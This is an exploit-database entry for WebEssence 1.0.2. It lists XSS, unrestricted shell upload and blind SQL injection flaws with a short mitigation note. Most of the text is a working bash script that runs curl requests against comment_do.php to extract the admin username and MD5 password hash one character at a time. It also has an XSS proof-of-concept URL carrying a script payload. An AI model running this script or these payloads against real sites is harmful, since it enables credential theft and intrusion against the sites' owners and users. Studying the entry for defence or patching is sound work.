header-logo
Suggest Exploit
vendor:
WebEssence
by:
white_sheep, r00t and epicfail
8,8
CVSS
HIGH
Cross-Site Scripting (XSS), Remote Shell Upload, Remote Blind SQL Injection
79, 264, 89
CWE
Product Name: WebEssence
Affected Version From: 1.0.2
Affected Version To: 1.0.2
Patch Exists: NO
Related CWE: N/A
CPE: a:webessence:webessence:1.0.2
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2011

WebEssence 1.0.2 Multiple Vulnerabilities

WebEssence 1.0.2 is vulnerable to Cross-Site Scripting (XSS), Remote Shell Upload and Remote Blind SQL Injection. An unprivileged registered user can upload any PHP or ASP file that can be found in 'uploads/other/'. An attacker can inject a remote HTML page in the 'url' variable. An attacker can also use a Blind SQL Injection attack to extract the username and MD5 password of the admin user.

Mitigation:

Ensure that user input is properly sanitized and validated. Ensure that the application is running with the least privileges necessary. Ensure that the application is running with the latest security patches.
Source

Exploit-DB raw data:

#
# WebEssence 1.0.2 Multiple Vulnerabilities
#
# Bugs found by white_sheep, r00t and epicfail
# for Debug|Track session @ Backtrack|italia community conference
# www.backtrack.it
# 
# # # # # # # # # XSS # # # # # # # # # # # # 
# PoC:
# http://localhost/webessence/webessence/oembed.php?url=http://google.com&id=<script>alert('Backtrack|it');</script>
# In "url" variable is possible to inject a remote HTML page
# 
# # # # # # Remote Shell Uplaod # # # # # # # 
# PoC: (thanks to emgent)
# Unprivileged registered user can upload any PHP or ASP file that can be found in "uploads/other/"
#
# # # # # Remote Blind Sql Injection # # # # #

#!/bin/bash

query1="1/**/AND/**/CHAR("
query2=")=(SELECT/**/SUBSTRING(name,"
query3=",1)/**/FROM/**/users)"
url=$1
path=$2

if [ "$1" == "" || "$2" == ""  ]
then
	echo "Usage: $0 [url] [path]"
	echo "Example: $0 http://localhost /webessence"
	exit
fi

good=0
position=1

#SEARCH USERNAME
echo -n "Username: "
while [ $good -lt 1 ]
do
	found="false"
	for name in `seq 97 122`
	do
		NOW=`curl -s -d "name=Ph33r&url=&email=&comment=Ph33r&itemid=$query1$name$query2$position$query3" -H "Referer: $url$path" -H "Content-Type: application/x-www-form-urlencoded" $url$path/comment_do.php`
		if [ "$NOW" == ""  ]
		then
			let position+=1
			found="true"
			perl -e "printf '%c', $name;"
			continue
		fi

	done
	if [ "$found" == "false" ]
	then
		good=1
	fi
done

good=0
position=1
query2=")=(SELECT/**/SUBSTRING(pwd,"
pwd_chr="48 49 50 51 52 53 54 55 56 57 97 98 99 100 101 102"

#SEARCH PASSWORD
echo ""
echo -n "MD5 Pass: "                                                                                                                                         
while [ $good -lt 1 ]                                                                                                                                        
do                                                                                                                                                           
        found="false"                                                                                                                                        
        for pwd in $pwd_chr                                                                                                                             
        do                                                                                                                                                   
                NOW=`curl -s -d "name=Ph33r&url=&email=&comment=Ph33r&itemid=$query1$pwd$query2$position$query3" -H "Referer: $url$path" -H "Content-Type: application/x-www-form-urlencoded" $url$path/comment_do.php`                                                                                                  
		if [ "$NOW" == ""  ]                                                                                                                         
                then                                                                                                                                         
                        let position+=1                                                                                                                      
                        found="true"                                                                                                                         
                        perl -e "printf '%c', $pwd;"
                        continue                                                                                                                             
                fi                                                                                                                                           
                                                                                                                                                             
        done                                                                                                                                                 
        if [ "$found" == "false" ]                                                                                                                           
        then                                                                                                                                                 
                good=1                                                                                                                                       
        fi                                                                                                                                                   
done
echo ""